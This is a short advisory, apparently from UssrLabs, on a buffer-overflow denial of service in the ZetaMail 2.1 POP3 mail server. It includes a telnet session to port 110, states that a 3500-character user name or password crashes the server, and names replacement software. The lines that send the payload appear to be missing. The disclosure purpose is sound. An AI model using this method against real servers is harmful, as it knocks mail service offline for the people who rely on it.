UssrLabs found a Local/Remote DoS Attack in ZetaMail 2.1 Mail
The buffer overflow is caused by a long user name/password,
There is not much to expand on.... just a simple hole
[gimmemore@itsme]$ telnet example.com 110
Connected to example.com.
Escape character is '^]'.
+OK ZetaMail for 95 BD0211 4294764405.063903189415041@itsme>
+OK Send password
Where (buffer) is 3500 characters.
Install another program from the same vendor,
MsgCore/95 2.11, MsgCore/NT 2.10
u n d e r g r o u n d s e c u r i t y s y s t e m s r e s e a
r c h